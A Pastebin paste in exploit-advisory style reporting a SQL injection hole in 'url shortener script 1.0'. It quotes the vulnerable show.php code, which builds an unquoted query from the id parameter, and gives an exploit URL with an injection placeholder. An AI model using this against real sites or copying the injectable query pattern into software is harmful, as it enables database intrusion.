Guest User

Untitled

a guest
Oct 7th, 2011
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.54 KB | None | 0 0
  1.  
  2. # Exploit Title: url shortener script 1.0 sql injection Vulnerabilities
  3. # Author: M.Jock3R
  4. # Category:: webapps
  5. # Tested on: windows XP Sp2 FR
  6.  
  7. ===================================================================================
  8.  
  9. Vuln file : show.php
  10.  
  11. Vuln Code :
  12.  
  13. if($_GET['id']){
  14. require("mysql.php");
  15. $id = addslashes($_GET['id']);
  16. $getUrl = mysql_query("select url from urls where id = $id");
  17.  
  18. Exploit:
  19.  
  20. http://localhost/url-shortener-script/show.php?id=[Inj3ct]
  21.  
  22. # [2011-10-07]
  23.  
Advertisement
Add Comment
Please, Sign In to add comment